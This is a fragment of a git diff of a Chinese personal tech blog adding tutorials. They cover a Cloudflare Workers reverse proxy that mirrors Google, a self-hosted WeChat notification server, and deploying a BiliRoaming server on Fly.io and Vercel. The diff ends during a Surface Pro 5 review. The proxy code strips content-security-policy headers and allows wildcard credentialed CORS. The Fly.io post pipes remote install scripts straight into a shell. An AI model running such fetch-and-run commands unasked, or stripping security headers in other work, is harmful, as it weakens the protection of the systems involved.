const region = request.headers.get('cf-ipcountry').toUpperCase();
const ip_address = request.headers.get('cf-connecting-ip');
const user_agent = request.headers.get('user-agent');

let response = null;
let url = new URL(request.url);
let url_host = url.host;

if (url.protocol == 'http:') {
url.protocol = 'https:'
response = Response.redirect(url.href);
return response;
}

if (await device_status(user_agent)) {
upstream_domain = upstream
} else {
upstream_domain = upstream_mobile
}

url.host = upstream_domain;

if (blocked_region.includes(region)) {
response = new Response('Access denied: WorkersProxy is not available in your region yet.', {
status: 403
});
} else if(blocked_ip_address.includes(ip_address)){
response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', {
status: 403
});
} else{
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);

new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.href);

let original_response = await fetch(url.href, {
method: method,
headers: new_request_headers
})

let original_response_clone = original_response.clone();
let original_text = null;
let response_headers = original_response.headers;
let new_response_headers = new Headers(response_headers);
let status = original_response.status;

new_response_headers.set('access-control-allow-origin', '*');
new_response_headers.set('access-control-allow-credentials', true);
new_response_headers.delete('content-security-policy');
new_response_headers.delete('content-security-policy-report-only');
new_response_headers.delete('clear-site-data');

const content_type = new_response_headers.get('content-type');
if (content_type.includes('text/html') && content_type.includes('UTF-8')) {
original_text = await replace_response_text(original_response_clone, upstream_domain, url_host);
} else {
original_text = original_response_clone.body
}

response = new Response(original_text, {
status,
headers: new_response_headers
})
}
return response;
}

async function replace_response_text(response, upstream_domain, host_name) {
let text = await response.text()

var i, j;
for (i in replace_dict) {
j = replace_dict[i]
if (i == '$upstream') {
i = upstream_domain
} else if (i == '$custom_domain') {
i = host_name
}

if (j == '$upstream') {
j = upstream_domain
} else if (j == '$custom_domain') {
j = host_name
}

let re = new RegExp(i, 'g')
text = text.replace(re, j);
}
return text;
}

async function device_status (user_agent_info) {
var agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
var flag = true;
for (var v = 0; v < agents.length; v++) {
if (user_agent_info.indexOf(agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
}
+ +

然后点击运行,就可以反代你需要的网站啦,但是注意,有些网站是无法进行反代的,例如twitter之类的,而且如果原来的网站具有登陆功能,那么这些登陆功能是无法使用的!!!

+

加密版(来自评论区@Hostloc)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
// 替换成你想镜像的站点
const upstream = 'google.com'

// 如果那个站点有专门的移动适配站点,否则保持和上面一致
const upstream_mobile = 'm.google.com'

// 密码访问

const openAuth = false
const username = 'username'
const password = 'password'

// 你希望禁止哪些国家访问
const blocked_region = ['KP']

// 禁止自访问
const blocked_ip_address = ['0.0.0.0', '127.0.0.1']

// 替换成你想镜像的站点
const replace_dict = {
'$upstream': '$custom_domain',
'//google.com': ''
}

function unauthorized() {
return new Response('Unauthorized', {
headers: {
'WWW-Authenticate': 'Basic realm="goindex"',
'Access-Control-Allow-Origin': '*'
},
status: 401
});
}

function parseBasicAuth(auth) {
try {
return atob(auth.split(' ').pop()).split(':');
} catch (e) {
return [];
}
}

function doBasicAuth(request) {
const auth = request.headers.get('Authorization');

if (!auth || !/^Basic [A-Za-z0-9._~+/-]+=*$/i.test(auth)) {
return false;
}

const [user, pass] = parseBasicAuth(auth);
return user === username && pass === password;
}


async function fetchAndApply(request) {
if (request.method === 'OPTIONS') // allow preflight request
return new Response('', {
status: 200,
headers: {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*',
'Access-Control-Allow-Methods': 'GET, POST, PUT, HEAD, OPTIONS'
}
});

if (openAuth && !doBasicAuth(request)) {
return unauthorized();
}
const region = request.headers.get('cf-ipcountry').toUpperCase();
const ip_address = request.headers.get('cf-connecting-ip');
const user_agent = request.headers.get('user-agent');

let response = null;
let url = new URL(request.url);
let url_host = url.host;

if (url.protocol == 'http:') {
url.protocol = 'https:'
response = Response.redirect(url.href);
return response;
}

if (await device_status(user_agent)) {
upstream_domain = upstream
} else {
upstream_domain = upstream_mobile
}

url.host = upstream_domain;

if (blocked_region.includes(region)) {
response = new Response('Access denied: WorkersProxy is not available in your region yet.', {
status: 403
});
} else if(blocked_ip_address.includes(ip_address)){
response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', {
status: 403
});
} else{
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);

new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.href);

let original_response = await fetch(url.href, {
method: method,
headers: new_request_headers
})

let original_response_clone = original_response.clone();
let original_text = null;
let response_headers = original_response.headers;
let new_response_headers = new Headers(response_headers);
let status = original_response.status;

new_response_headers.set('access-control-allow-origin', '*');
new_response_headers.set('access-control-allow-credentials', true);
new_response_headers.delete('content-security-policy');
new_response_headers.delete('content-security-policy-report-only');
new_response_headers.delete('clear-site-data');

const content_type = new_response_headers.get('content-type');
if (content_type.includes('text/html') && content_type.includes('UTF-8')) {
original_text = await replace_response_text(original_response_clone, upstream_domain, url_host);
} else {
original_text = original_response_clone.body
}

response = new Response(original_text, {
status,
headers: new_response_headers
})
}
return response;
}

addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request).catch(err => {
console.error(err);
new Response(JSON.stringify(err.stack), {
status: 500,
headers: {
'Content-Type': 'application/json'
}
});
}));
})


async function replace_response_text(response, upstream_domain, host_name) {
let text = await response.text()

var i, j;
for (i in replace_dict) {
j = replace_dict[i]
if (i == '$upstream') {
i = upstream_domain
} else if (i == '$custom_domain') {
i = host_name
}

if (j == '$upstream') {
j = upstream_domain
} else if (j == '$custom_domain') {
j = host_name
}

let re = new RegExp(i, 'g')
text = text.replace(re, j);
}
return text;
}

async function device_status (user_agent_info) {
var agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
var flag = true;
for (var v = 0; v < agents.length; v++) {
if (user_agent_info.indexOf(agents[v]) > 0) {
flag = false;
break;
}
}
return flag;
}
+
+ +

下篇:Cloudflare Workers绑定自定义域名进行访问

+

这就是JSPROXY的反代啦,祝各位成功呀!
题外话:

+

下周要考试了,我好方,怎么办

+

我已经用此方法部署了Google镜像站、Google学术镜像站、wiki镜像站,可以在我的友链界面找到哦~

+
Author: GamerNoTitle
Link: https://bili33.top/posts/CloudFlare-Workers/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Cloudflare-Workers-Section2/index.html b/posts/Cloudflare-Workers-Section2/index.html new file mode 100644 index 0000000000..62a34a796b --- /dev/null +++ b/posts/Cloudflare-Workers-Section2/index.html @@ -0,0 +1,317 @@ +Cloudflare Workers反代实战(下) | GamerNoTitle + + + + + + + + + + + + + + + +

Cloudflare Workers反代实战(下)

上篇说道:
我们已经成功搭建了Workers的反代服务,但是有的时候我们需要绑定自己的域名来访问该网页,那么本篇我们将来讲一讲怎么绑定自己的域名来访问workers
我们先来到我们的域名管理界面,点开自己的任意一个域名,然后点击上面的workers
workers-in-domain
在本界面中,上面的两个按钮点击Add Route
Workers-Panel
然后在上面填写你想要的域名(当然得是你的域名),格式如<SubDoamin>.<Domain>/*,下面选择你创建好的Workers配置,例如我在上面填写g.bili33.top/*,然后下面选择我的名字叫做”g”的Workers配置文件(用于反代Google),然后点击保存,这样就成功添加了route,当然这个时候并不是直接访问就可以访问被反代的网站,而是要进行进一步配置~

+

回到我们的域名DNS解析界面,添加一个CNAME记录,指向我们的Workers,在这之中,Proxy Status一定要设定为Proxied!下面照样给个例子

+ + + + + + + + + + + + + + + + + +
TypeNameTargetTTLProxy
CNAMEgg.bili33.workers.devAuto
+

然后添加进入DNS解析,这时候我们再访问自己的域名(在这里是g.bili33.top),然后就发现我们进入了自己反代的网站

+

+

当然这也有一定的缺点:

+

1、因为Redirect URL与api不一致,所以反代出来的网站一般无法登陆

+

2、使用了Google Recaptcha之类的验证码用于网站保护的网站可能会因为Redirect URL不一致而导致无法访问(如Google自带的Recaptcha保护机制将导致无法进行搜索,这种情况下更换被反代的Google地区即可)

+
+

2020.3.14 更新

今天给我的博客上SSL,然后临时把CloudFlare自带的SSL关掉了,代理Google旗下网站出现了重定向次数过多的问题,把SSL调回Flexible就可以了,目前只发现Google旗下产品会出现此问题,其他暂未发现

+
+ +
+

题外话:

+

网站终于又开始更新啦!小高考考得个人感觉还不错,二月份出成绩*V*,六月份还有物理和政治的……

+

@TheBaiRuo的公网IP被墙了,需要备案,所以他的网站进不去,确实是有点惨吼,Github Pages它不香吗?

+

另外,在Cloudflare的workers调试界面有可能会出现500的错误码,忽略就好,实际上部署后是可以访问的(除非cloudflare分配给你的服务器炸了)

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Cloudflare-Workers-Section2/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/Custom-Wechat-Pusher/index.html b/posts/Custom-Wechat-Pusher/index.html new file mode 100644 index 0000000000..f2c7697fdc --- /dev/null +++ b/posts/Custom-Wechat-Pusher/index.html @@ -0,0 +1,416 @@ +使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器 | GamerNoTitle + + + + + + + + + + + + + + + + + + +

使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器

相信大家现在在用的微信推送平台都是什么方糖QQ的server酱(Server酱·Turbo版 (ftqq.com))又或者是什么PushPlus之类的,我自己用的是server酱,但是在使用过程中发现一个问题:它每天只能推5条消息

+

对于我这种拿另一个手机使用SMSForwarder(pppscn/SmsForwarder: 短信转发器 (github.com))来转发短信的人来说,一天接到的验证码短信肯定不只5条,虽然配置了邮件转发,但是有的时候QQ的smtp服务器抽风,而且邮件不如微信好用,所以我就在想能不能搭建一个自己的推送服务器

+

恰巧我之前看到过songquanpeng/message-pusher: 搭建专属于你的微信消息推送服务 (github.com)这个项目,因为文档里面说可以部署在heroku上面,我就干起来了

+
+ + +

因为Heroku一旦休眠再开启后,数据会丢失(虽然message-pusher的作者用了环境变量的方式去存储数据,但是这还是不太方便),恰巧railway也是一个可以部署服务的平台,相较于heroku主要是按需付费(前5刀免费),而且没有休眠,我就选择了railway

+

先fork一下message-pusher这个项目,然后转到railway平台新建项目

+

因为我这里想部署在原来就有的项目下面,所以我直接进入到项目之中,点击右上角的New,选到我刚刚fork的仓库

+

+

选择后,进入到服务的Variables里面添加我们需要的变量

+

这里项目作者整理了一个表格来给出我们所需要填写的变量名以及内容

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KEYVALUE
MODE1(1 代表 Heroku 模式,该模式下应用从环境变量中读取必要信息)
PREFIX你的前缀,如 admin(前缀用于区分用户,出现在请求的 api 路径中)
DEFAULT_METHOD默认推送方式(test 代表微信测试号,corp 代表微信企业号,email 代表邮件推送,client 代表客户端推送)
HREF服务的 href,如 https://wechat-message.herokuapp.com/ ,注意后面要有 /
ACCESS_TOKEN用于验证调用者身份,防止别人使用借口发送垃圾信息,置空则不进行检查,设置该值后则需要在调用时加上 token 字段
WECHAT_APP_ID你的测试号的 APP ID
WECHAT_APP_SECRET你的测试号的 APP Secret
WECHAT_TEMPLATE_ID你的测试号的模板消息的 ID
WECHAT_OPEN_ID你的 Open ID
WECHAT_VERIFY_TOKEN你自己设置的验证 token
EMAIL你的默认目标邮箱
SMTP_SERVERsmtp 服务器地址,如 smtp.qq.com
SMTP_USERsmtp 服务器用户邮箱
SMTP_PASSsmtp 服务器用户凭据
CORP_ID微信企业号 ID
CORP_AGENT_ID微信企业号应用 ID
CORP_APP_SECRET微信企业号应用 Secret
CORP_USER_ID微信企业号用户 ID
+

因为Railway跟Heroku相似,都是服务部署平台,所以这里我MODE我填写的是1(但是其实好像0也可以,因为Railway不需要把数据存在变量中。如果选择的是0的话可以不填其他的设置,直接在网页控制台里面修改就行了,但是我选的是1,所以我就把其他的也填了)

+

PREFIX 是控制台以及发送通知访问的路径,我就直接保留默认了

+

HREF 是项目的访问地址,主要用于给出微信测试平台与我们项目对接的链接,直接填写自己的服务访问链接就可以了

+

WECHAT_APP_ID WECHAT_APP_SECRET 是测试号的信息,我们可以在微信公众平台 (qq.com)拿到我们需要的内容

+

WECHAT_OPEN_ID WECHAT_VERIFY_TOKEN 在后面跟公众号平台对接的时候使用,这两个后面再讲

+

我用到的就是这些,你也可以按照需要自己填写

+

填写完了以后随便切出Variables页面,Railway会自动开始重新部署

+

部署完成后访问Railway提供的域名,我们就能够进入管理平台的登录页面

+

+

(我这里登陆过了所以上面显示的按钮是添加新用户 配置退出

+

登录的用户名和密码默认分别为admin123456,登录进入以后一定要先改密码

+
+

接下来我们进行服务的配置,先点击用户设置,在这里先更改自己的登录密码,以及选择自己需要发送的通道(因为我用的是微信的测试号,所以我填的是test,下面我也主要会以微信测试号来说明)

+

+

ACCESS TOKEN可填可不填,主要看个人需求,如果需要鉴权的话就填一个吧

+

接下来我们转到顶上的微信测试号设置,在这里填写我们在微信公众平台 (qq.com)里面拿到的APP IDAPP SECRET

+

在微信公众平台,我们在下面模板信息接口新建一个测试模板,按照自己的需求填写,就可以拿到模板ID(TEMPLATE ID

+

+

然后我们先把这里的TOKEN设置好,点击一次提交先(TOKEN是自己设置的,用于微信公众平台对接)

+

接下来我们转到微信公众平台,在接口配置信息里面,URL就填配置页面上面的灰框框给出的链接,Token就填写刚刚自己设置的内容,然后打开开发者平台,在网络(Network)选项卡中稍等一会,会弹微信自己向服务器发送测试号粉丝(即关注了测试号的用户)的列表,在这里面你可以找到你自己的微信,并且把OPEN_ID弄到手(如果你没有关注自己的测试号,这里是不会显示自己的信息的,你需要往下拉找到自己的二维码先关注)

+

+

填写好微信公众平台的URLToken以后,可以点击提交(可能会成功,反正我没成功,但是不影响使用)

+

我们返回配置页面,在OPEN ID里面填入我们自己的ID,然后点击提交就可以了

+

这时候我们尝试访问https://<你的域名>/<你的路径>/hi,如果返回{"success":true,"message":"ok"}就说明发送成功了,你也可以在手机上查看自己收到的信息

+
+

一开始我就说了我是用来转发短信的,所以自然要与短信转发器对接(因为我手机不在手上,所以下面我使用Teamviewer进行远程控制)

+

先新建一条转发通道,名字随意,请求方式按需选择,我这里用GET主要是方便

+

+

+

WebParams里面的参数根据自己需求填写,我这里写的是title=来自[from]的短信&description=[content]&content=[content],然后前往转发规则,新建一条转发规则,根据自己的需求填写

+

+

填写完以后可以测试一下,要是测试没问题保存即可

+

附上一张测试成功的样图

+

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Custom-Wechat-Pusher/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/Deploy-biliroaming-go-server-with-flyio/index.html b/posts/Deploy-biliroaming-go-server-with-flyio/index.html new file mode 100644 index 0000000000..eb6be0eb9a --- /dev/null +++ b/posts/Deploy-biliroaming-go-server-with-flyio/index.html @@ -0,0 +1,504 @@ +使用Fly.io平台部署哔哩漫游服务器 | GamerNoTitle + + + + + + + + + + + + + + + + +

使用Fly.io平台部署哔哩漫游服务器

做这个是因为之前 @wuki 问我说能不能用Deploy app servers close to your users · Fly这个平台弄哔哩漫游服务器,然后借了我一个号,结果陆陆续续总共拖了将近半年才弄出来,在这留个记录。

+

请注意:fly.io平台免费账户需要信用卡验证后才能够部署项目!

+
+ +

+
+

这里我们使用的项目是JasonKhew96/biliroaming-go-server (github.com)

+

根据fly.io官方的文档,有以下地区可选(Regions · Fly Docs

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Region IDRegion LocationGateway*
amsAmsterdam, Netherlands
cdgParis, France
denDenver, Colorado (US)
dfwDallas, Texas (US)
ewrSecaucus, NJ (US)
fraFrankfurt, Germany
gruSão Paulo
hkgHong Kong, Hong Kong
iadAshburn, Virginia (US)
jnbJohannesburg, South Africa
laxLos Angeles, California (US)
lhrLondon, United Kingdom
maaChennai (Madras), India
madMadrid, Spain
miaMiami, Florida (US)
nrtTokyo, Japan
ordChicago, Illinois (US)
otpBucharest, Romania
sclSantiago, Chile
seaSeattle, Washington (US)
sinSingapore
sjcSunnyvale, California (US)
sydSydney, Australia
wawWarsaw, Poland
yulMontreal, Canada
yyzToronto, Canada
+

在这里我们选择的就是香港地区(hkg),在部署中,它的cli是把当前目录下的文件打包为docker镜像上传到它的镜像库中再进行部署的

+

安装CLI

官网提供的安装方式如下

+

macOS

If you have the Homebrew package manager installed, flyctl can be installed by running:

+
1
brew install flyctl
+ +

If not, you can run the install script:

+
1
curl -L https://fly.io/install.sh | sh
+ +

Linux

Run the install script:

+
1
curl -L https://fly.io/install.sh | sh
+ +

Windows

Run the Powershell install script:

+
1
iwr https://fly.io/install.ps1 -useb | iex
+ +

但是因为我的网络太小霸王了,所以我用了Github的Codespaces来作为中介去干这个

+

使用Github Codespaces

在这个绿绿的Code按钮里面点到Codespaces,然后创建一个(我这里创建过了所以有一个)

+

+

直接打开,可以在网页打开,也可以接入自己的Vscode,进入以后按快捷键Ctrl + L-Shift + `打开一个终端,并把安装flyctl的命令写进去

+

+

这样就是安装完毕了,估计是Codespaces的机制问题,所以需要通过绝对路径去访问它

+

输入一下命令来登录(这里我就不打绝对路径了,这里假设是用本地电脑且flyctl已经加入环境变量)

+
1
$ flyctl auth login
+ +

然后终端会显示一个链接,如果你跟我一样用的是Codespaces,那就把这个链接放到自己的浏览器里面去访问登录就行了,如果你是本地运行,应该会自动打开登录页面(没截图,登录应该是小问题)

+

初始化项目

首先打开.gitignore文件和.dockerignore文件(如果有的话),把里面的内容全部删掉,因为部署的时候我们是需要把配置文件给一起上传的,而.gitignore把这些文件都排除掉了,所以要删掉里面的所有内容

+

再打开fly.toml,在最底下加上这些内容

+
1
2
[build.args]
BP_KEEP_FILES = "*"
+ +

不这么做的后果↓

+
1
2
3
4
5
6
7
8
9
10
11
12
2022-12-19T10:02:56.427 runner[86dbcaaa] hkg [info] Starting instance
2022-12-19T10:02:58.492 runner[86dbcaaa] hkg [info] Configuring virtual machine
2022-12-19T10:02:58.494 runner[86dbcaaa] hkg [info] Pulling container image
2022-12-19T10:02:59.436 runner[86dbcaaa] hkg [info] Unpacking image
2022-12-19T10:02:59.450 runner[86dbcaaa] hkg [info] Preparing kernel init
2022-12-19T10:02:59.946 runner[86dbcaaa] hkg [info] Configuring firecracker
2022-12-19T10:03:00.411 runner[86dbcaaa] hkg [info] Starting virtual machine
2022-12-19T10:03:00.671 app[86dbcaaa] hkg [info] Starting init (commit: f447594)...
2022-12-19T10:03:00.700 app[86dbcaaa] hkg [info] Preparing to run: `/cnb/process/biliroaming-go-server` as 1000
2022-12-19T10:03:00.723 app[86dbcaaa] hkg [info] 2022/12/19 10:03:00 listening on [fdaa:0:6690:a7b:7f07:86db:caaa:2]:22 (DNS: [fdaa::3]:53)
2022-12-19T10:03:00.816 app[86dbcaaa] hkg [info] 2022/12/19 10:03:00 stat ./config.yml: no such file or directory
2022-12-19T10:03:01.705 app[86dbcaaa] hkg [info] Starting clean up.
+ +

接着我们把Dockerfile删掉,因为如果有这个文件的话,flyctl会把这个判定为docker项目,这样的话我们就很难把配置文件丢进去,所以我们要更改它的判定,将判定改为go项目,所以要删掉这个

+

然后运行以下命令来初始化,跟着它的提示进行就行,只是最后问我们要不要部署,我们先选择不部署,因为我们接下来要导入数据库(记得把弹出来的数据库连接信息记住,因为它只会展示一次,然后就找不到啦)

+

接着我们修改一下项目的端口,将config.example.yml复制一份,为config.yml找到port,把后面的数字改为8080

+

接着我们打开config.yml修改数据库配置,找到以下内容,注释掉passwordFile,然后修改配置为我们前面创建数据库时给的内容

+
1
2
3
4
5
6
7
8
# 数据库
postgreSQL:
host: "<app_name>-db.internal"
user: "postgres"
password: 'password'
#passwordFile: "/run/secrets/db-password"
dbName: "<db>"
port: 5432
+ +

导入数据库

fly.io的创建的数据库进行连接的时候是使用内部域名进行连接的(格式大概是<app_name>-db.internal,所以我们不能够通过正常的方式进行连接。所幸,flyctl里面可以把数据库给映射到本地

+

使用以下命令进行映射

+
1
$ flyctl proxy 5432 -a <db_name>
+ +

这里我就使用下面这个命令进行连接

+
1
$ flyctl proxy 5432:5432 -a biliroaming-tutorial-db
+ +

显示如下内容的时候就是可以进行连接了

+
1
Proxying local port 5432 to remote [biliroaming-tutorial-db.internal]:5432
+ +

codespaces还可以在PORTS选项卡里看到绑定的本地端口

+

+

这里使用navicat进行连接,在测试之前一定要确保信息填对了

+

+

连接以后,我们在左侧可以看到两个数据库,一个是postgres,一个是<app_name>用哪个随便,不过如果要用<app_name>那个,就需要在配置文件里面相应地改掉(在初始化项目那里的数据库连接那个地方)

+

右键自己需要使用的数据库,选择Execute SQL File(执行SQL脚本,我这里是英文版),然后逐个将项目的sql文件夹内的脚本执行,构建数据库结构

+

部署项目

使用以下命令来部署项目

+
1
$ flyctl deploy
+ +

如果在部署过程中遇到了下面这个问题(用codespaces就出现了,不过这个好像是它服务器的部署器的问题而不是我codespaces的问题)

+
1
Error failed to fetch an image or build from source: downloading buildpack: extracting from registry gcr.io/paketo-buildpacks/go: fetching image: error pulling image configuration: error parsing HTTP 403 response body: invalid character '<' looking for beginning of value: "<?xml version='1.0' encoding='UTF-8'?><Error><Code>AccessDenied</Code><Message>Access denied.</Message><Details>We're sorry, but this service is not available in your location</Details></Error>"
+ +

那就要加多个--local-only参数,变成

+
1
$ flyctl deploy --local-only
+ +

当你的fly.io项目的monitor里面显示如下就是部署成功了

+
1
2
3
4
5
6
7
8
9
10
11
12
13
2022-12-19T10:35:04.789 runner[fa79ac75] hkg [info] Starting instance
2022-12-19T10:35:07.119 runner[fa79ac75] hkg [info] Configuring virtual machine
2022-12-19T10:35:07.121 runner[fa79ac75] hkg [info] Pulling container image
2022-12-19T10:35:14.098 runner[fa79ac75] hkg [info] Unpacking image
2022-12-19T10:35:15.511 runner[fa79ac75] hkg [info] Preparing kernel init
2022-12-19T10:35:15.926 runner[fa79ac75] hkg [info] Configuring firecracker
2022-12-19T10:35:16.157 runner[fa79ac75] hkg [info] Starting virtual machine
2022-12-19T10:35:16.547 app[fa79ac75] hkg [info] Starting init (commit: f447594)...
2022-12-19T10:35:16.591 app[fa79ac75] hkg [info] Preparing to run: `/cnb/process/biliroaming-go-server` as 1000
......
2022-12-19T10:35:17.834 app[fa79ac75] hkg [info] DELETE FROM "th_subtitle_caches" WHERE ("th_subtitle_caches"."updated_at" <= $1);
2022-12-19T10:35:17.834 app[fa79ac75] hkg [info] [2022-12-19 10:20:17.834077308 +0000 UTC]
2022-12-19T10:35:17.835 app[fa79ac75] hkg [info] 2022-12-19T10:35:17.835Z DEBUG biliroaming-go-server/main.go:124 Cleanup 0 TH subtitle cache
+ +

获取ipv4地址

因为fly.io默认只分配了ipv6地址,然而ipv6还没有普及,我们还是需要ipv4的

+

使用以下命令来为项目获取ipv4地址

+
1
$ flyctl ips allocate-v4 -a <app_name>
+ +

会显示获取到的IP地址等信息

+
1
2
VERSION IP              TYPE    REGION  CREATED AT 
v4 149.248.221.246 public global 7s ago
+ +

已知的bug

显示“账号未登录”

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Deploy-biliroaming-go-server-with-flyio/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Deploy-biliroaming-typescript-server-with-vercel/index.html b/posts/Deploy-biliroaming-typescript-server-with-vercel/index.html new file mode 100644 index 0000000000..5b0f2be903 --- /dev/null +++ b/posts/Deploy-biliroaming-typescript-server-with-vercel/index.html @@ -0,0 +1,310 @@ +使用Vercel平台部署哔哩漫游服务器(HK、SEA) | GamerNoTitle + + + + + + + + + + + + + + + + +

使用Vercel平台部署哔哩漫游服务器(HK、SEA)

+

上次用fly.io部署了biliroaming-go-server教程),但是那个有bug,而且要求比较高(要信用卡,而且要服务器),这几天我在Github有找到了一个项目,可以将哔哩漫游服务器部署在Vercel上面

+ + +
+

前置条件

    +
  • 一个Github账号
  • +
  • Vercel平台
  • +
+

开始使用

我们直接访问这个项目的地址 -> bili-vd-bak/biliroaming-ts-server-vercel: 为BiliRoaming、哔哩UWP 等提供支持。包括支持基本功能、搜索替换、黑白名单的哔哩漫游服务端。部署在Vercel HK1。 (github.com)

+

然后fork一下这个项目,就点击顶上的fork键就好了,默认部署是在香港(hkg1),如果需要修改位置(只有香港和东南亚可选),则直接点开仓库里的vercel.json然后把里面的regions改掉

+
1
2
3
4
5
6
{
"cleanUrls": true,
"regions": [
"hkg1"
]
}
+ +

改成下面这样

+
1
2
3
4
5
6
{
"cleanUrls": true,
"regions": [
"sin1"
]
}
+ +

部署项目

访问Vercel(Develop. Preview. Ship. For the best frontend teams – Vercel),登陆以后,新建一个项目

+

+

然后import一下刚刚fork的项目

+

+

直接点击Deploy,然后等待部署完毕,点击Visit,顶上的链接就是你的服务器地址啦!

+

+

使用服务器

在哔哩漫游里面的对应位置填上服务器地址即可!

+

Bugs

目前没发现

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Deploy-biliroaming-typescript-server-with-vercel/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Enchance-my-Surface-Pro-5/index.html b/posts/Enchance-my-Surface-Pro-5/index.html new file mode 100644 index 0000000000..d6c423e222 --- /dev/null +++ b/posts/Enchance-my-Surface-Pro-5/index.html @@ -0,0 +1,356 @@ +就决定是你啦!苏菲婆5! —— 谈谈我对Surface Pro 5的使用体验以及各种骚操作 | GamerNoTitle + + + + + + + + + + + + + + + + + + + +

就决定是你啦!苏菲婆5! —— 谈谈我对Surface Pro 5的使用体验以及各种骚操作

今年的九月份,我卖掉了我的老联想 Yoga 370,然后购置了一台Surface Pro 5顶配版给我自己用

+

+

起初是想当做笔记本用的(因为可以用笔),后来才发现有很多的用途

+

本文旨在记录我在Surface Pro 5上面的各种骚操作,以及我的个人使用体验,告诉你为什么在2202年,我还要选择一台仅仅配置是7代i7的微软亲儿子Surface Pro 5

+

先上两张实物图(背膜是拿图片找某宝做的)

+

+

+
+

购买

+

很简单,鱼子上面一搜,就有很多,我找的是个人使用的那种(其实鱼子上面很轻易能看出谁是二道贩子,谁是个人卖家),卖家跟我说电池有点问题,其他没啥问题。我想都17年还是18年的产品了,电池有点问题也是正常的事情,然后就一拍即合,拍下了这台苏菲Pro 5

+

等我拿到手以后,我发现事情没有那么简单,确实是电池有问题,但是这个电量显示完全不准,有可能我还在办公,电池剩下50%左右的电量就直接给我关机了,等我怎么按下开机键也没用,接上电源后才发现是没电了。

+

于是我在某宝上一搜,果然有换电池的,价格在280~450不等,我想这个价格也算是合理,毕竟苏菲这东西集成度太高了,拆的也难。于是我找了一家标价是280的,然后把机子寄了过去换电池。

+

某天晚上自习课刚下课,突然我的OPPO Watch接到一通电话,一听才知道是某宝维修商,他说我的电脑不仅是电池有问题,主板还漏电,对钱比较敏感的我问了一句修这个花多少钱,总之最后价格讲下来就是460

+

拿到修好的苏菲,我就开始了我的捣鼓之旅。

+

Windows(Windows11)体验

既然是微软亲儿子,那Windows的体验是少不了的,我这台装的是Windows 11 Professional(专业版)

+

+

既然Surface是一个笔记本(真笔记本,不是电脑层面的笔记本),那肯定得走一波手写笔的体验

+

我用了巨硬自带的OneNote for Windows 10(没错Win11还用的是Win10的),这个东西在我弄数学建模竞赛的时候发挥了非常大的作用

+

+

而且Onenote有个好处,如果你在其他机器上登陆同一个Onenote账户,可以直接同步(下面这个是我游戏本上的截图)

+

+

当然,因为Surface独有的触屏体验,还可以玩Osu(虽然以前那台LENOVO也可以点着玩)【忘截屏了】

+

还可以拿来推GALGAME(没下完,就截个Steam意思意思吧),但是拿来打CSGO那就是小霸王了(一帧能玩,两帧流畅,三帧电竞)

+

+

这个3:2的屏幕,写代码也是杠杠的(图为弄数模的时候的数据处理)

+

+

还可以顺带玩一玩SDVX(民间版本,不外传,因为禁用了键盘所以是拍的)

+

+

再加上Win11对触屏本身的BUFF加持,让苏菲变得比某希沃好用多了

+

Linux(Ubuntu)体验【略】

+

因为我用Ubuntu的时候没截屏过,然后输入法配置问题把我搞得心态崩了直接把Ubuntu删了,所以这一届没有图片

+
+

